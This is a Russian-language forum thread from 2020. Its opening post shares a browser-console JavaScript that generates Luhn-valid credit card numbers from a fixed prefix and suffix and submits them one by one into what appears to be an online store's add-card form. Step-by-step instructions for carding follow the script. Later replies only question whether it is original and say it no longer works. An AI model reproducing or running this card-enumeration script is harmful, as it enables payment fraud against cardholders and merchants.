tiran99 0 Опубликовано: 6 сен 2020 var jq = document.createElement('script'); jq.src = "https://ajax.googleapis.com/ajax/libs/jquery/2.1.4/jquery.min.js"; document.getElementsByTagName('head')[0].appendChild(jq); jQuery.noConflict(); var first_8 = '60457800'; var last_4 = '9307'; function valid_credit_card(value) { if (/[^0-9-\s]+/.test(value)) return false; var nCheck = 0, nDigit = 0, bEven = false; value = value.replace(/\D/g, ""); for (var n = value.length - 1; n >= 0; n--) { var cDigit = value.charAt(n), nDigit = parseInt(cDigit, 10); if (bEven) { if ((nDigit *= 2) > 9) nDigit -= 9; } nCheck += nDigit; bEven = !bEven; } return (nCheck % 10) == 0; } var cards = []; for (var i = 0; i < 10000; i++) { var str = "" + i; var pad = "0000"; var ans = pad.substring(0, pad.length - str.length) + str; var cc = first_8 + ans + last_4; if (valid_credit_card(cc)) { cards.push(cc); } } function checkCard() { if ($('.a-alert-warning').is(':visible')) { if ($('.section-overwrap').length > 0) { setTimeout(checkCard, 500); } else { var cc = cards.pop(); $('#addCreditCardNumber').val(cc); console.log(cc); $('#confirm-card').click(); setTimeout(checkCard, 1000); } } else { return 1; } } checkCard(); Скрипт надо проверять! Возможно, уже пофиксили. Логинимся в аккаунт, закидываем товар в корзину, начинаем оплачивать, выбираем карту, дальше идем в Инспектор - жмем F12 - открывается консоль, в консоль вставляем этот скрипт, дальше Enter, вылезет ошибка, пробуем еще раз и процесс пошел! var last_4 = '9307'; Эту строку в скрипте меняем, вставляя 4 последних цифры своей карты! 0 Поделиться сообщением Ссылка на сообщение
hitkerkaput 0 Опубликовано: 7 сен 2020 твое или копипаст? 0 Поделиться сообщением Ссылка на сообщение
uberpassat 0 Опубликовано: 8 сен 2020 17 часов назад, hitkerkaput сказал: твое или копипаст? вроде бы что-то старое а значит копи 0 Поделиться сообщением Ссылка на сообщение
microsoft02020 0 Опубликовано: 20 сен 2020 eto starii script on uje davo ne rabotaet\ zaroite temu 0 Поделиться сообщением Ссылка на сообщение